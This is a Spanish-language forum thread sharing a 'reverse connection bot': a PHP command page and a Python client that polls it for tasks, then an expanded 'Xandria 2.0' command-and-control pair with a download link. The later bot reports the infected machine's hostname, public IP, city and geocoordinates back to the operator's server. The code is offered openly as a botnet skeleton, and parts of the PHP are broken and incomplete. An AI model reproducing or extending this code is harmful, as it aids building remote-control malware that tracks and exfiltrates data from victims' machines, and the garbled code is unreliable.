Título: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: skollprog en 9 Enero 2018, 15:28 pm
Buenas, gente!
Este es mi primer post en la comunidad, y quería compartir con uds. un bot de conexión inversa, con la peculiaridad de que sólo es necesario tener un servidor web, ya que los comandos a ejecutar se van a pasar vía peticiones POST.
Si ya tienen un servidor web en la nube, mejor. Si no es así, pueden instalar XAMPP o LAMP y abrir el puerto 80 (recomiendo contratar un servidor web).
El archivo PHP que deben subir al servidor, es el siguiente:<?php $task = "task.txt"; { $handle = fopen($task, "a"); } if (isset($_POST["send"])) { $handle = fopen($task, "w"); fwrite($handle, date("Y-m-d H:i:s") . ";" . $_POST["send"]); } ?> <form method="post" action="#"> <input type="text" name="send" autocomplete="off"> </form>
Una vez subido ese archivo al servidor, pasamos a crear el bot (en Python), el cual se va a conectar a nuestro servidor y va a buscar la tarea a ejecutar, siempre verificando que la fecha y hora de la misma no esté dentro de la lista de tareas ejecutadas.import requests import time tasks = [] def getTask(): url = "http://localhost/task.txt" task = requests.get(url).text.split(";") if len(task) > 1: if task[0] in tasks: return None else: tasks.append(task[0]) return task[1] else: return None while True: task = getTask() if task != None: if task == "status": print("Bot status: Online.\n") time.sleep(1)
Recuerden que la dirección http://localhost/ se debe reemplazar por la dirección del servidor al que queremos que el bot se conecte.
Para agregar más comandos al bot, simplemente se deben agregar más condiciones if, verificando el contenido string en la variable task.
Espero que les guste. Adios!
Título: Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: engel lex en 9 Enero 2018, 15:34 pm
Sería bueno, 1 que ejecutes la tarea, 2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar) 3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho
Título: Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: skollprog en 9 Enero 2018, 15:48 pm
Sería bueno, 1 que ejecutes la tarea, 2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar) 3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho
De hecho, tengo un proyecto que estoy armando (Xandria 2.0) siguiendo esta estructura que posteé y los datos que das. Simplemente no lo subí antes porque me pareció demasiado complejo, y mi idea era sólo aportar una estructura básica para el que quisiera experimentar. Acá dejo el código de mi proyecto por si a alguien le pica la curiosidad. https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY (https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY) Clave: skollprog Código PHP: <?php if (isset($_POST["xandria"])) { if (isset($_POST["query"])) { $query = $_POST["query"]; $date = date("Y-m-d H:i:s"); $file = fopen("query.txt", "w"); fwrite($file, $date . ", " . $query); } if (isset($_POST["logs"])) { $logs = $_POST["logs"]; $fname = "logs.txt"; { if ($argv[0] == "-f" or $argv[0] == "first") { for ($i = 0; $i < $argv[1]; $i++) { { $date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>"; } } } else if ($argv[0] == "-l" or $argv[0] == "last") { for ($i = 0; $i < $argv[1]; $i++) { { $x = count($temp) - 1 - $i; $date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>"; } } } else if ($argv[0] == "-i" or $argv[0] == "index") { if ($argv[1] == "*" or $argv[1] == "all") { foreach ($temp as $log) { $date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>"; } } else { $i = $argv[1] - 1; { $date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>"; } else { echo "invalid_log"; } } } else { echo "invalid_argument"; } } } if (isset($_POST["server"])) { $url = "http://" . $_SERVER["HTTP_HOST"] . "/"; echo $url . "<br>"; } if (isset($_POST["build"])) { $file = "xandria.py"; echo $file . "<br>"; } if (isset($_POST["report"])) { $fname = "logs.txt"; $file = fopen($fname, "a+"); $host = $_POST["host"]; $ip = $_POST["ip"]; $msg = $_POST["report"]; fwrite($file, date("Y-m-d H:i:s") . ", " . $host . ", " . $ip . ", " . $msg . "\n"); } } else { ?> <!DOCTYPE html> <html> <head> <title>Xandria 2.0 - Client</title> <meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0"> <script type="text/javascript" src="assets/js/jquery.js"></script> <script type="text/javascript" src="assets/js/terminal.js"></script> <link rel="stylesheet" type="text/css" href="assets/css/styles.css"> </head> <body> <span class="bg-black tag-init"> </span> <span class="bg-black"> XANDRIA </span> 2.0 <div class="content"></div> <div class="prompt"><br> □:// <input type="text" name="prompt"> </div> </body> </html> <?php } ?>
Código Python: import time import socket import requests import json SERVER_URL = "http://localhost/xandria/" def geolocate(): try: url = "http://freegeoip.net/json" data = requests.get(url) data = json.loads(data.text) return data except: return None def ip(): data = geolocate() if data != None: return data["ip"] else: return "unknown" def country(): data = geolocate() if data != None: return data["country_name"] else: return "unknown" def city(): data = geolocate() if data != None: return data["city"] else: return "unknown" def timezone(): data = geolocate() if data != None: return data["time_zone"] else: return "unknown" def geocoords(): data = geolocate() if data != None: coords = "Lat:" + str(data["latitude"]) + " Lon:" + str(data["longitude"]) return coords else: return "unknown" def hostname(): try: return socket.gethostname() except: return "unknown" def query(): try: data = requests.get(server + "query.txt").text.split(",") if data[0] in queries: return None else: queries.append(data[0]) return data[1].strip() except: return None def report(message): try: requests.post(server, {"xandria":"", "host":host, "ip":address, "report":message}) except: pass host = hostname() address = ip() server = SERVER_URL queries = [] report("Online") while True: try: data = query() if data != None: argv = data.split(" ") if data == "hostname" : report(hostname()) if data == "ip" : report(ip()) if data == "country" : report(country()) if data == "city" : report(city()) if data == "timezone" : report(timezone()) if data == "geocoords": report(geocoords()) except: pass time.sleep(5)
Título: Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: Flamer en 9 Enero 2018, 23:32 pm
Buen aporte.....
me creerias si te digo que yo ya lo habia pensado. pero como cliente usaba un vbs para comunicarme con el servidor que contenia el php
saludos Flamer y si no lo publique nunca fue por que crei que lo mirarian muy simple y sencillo
|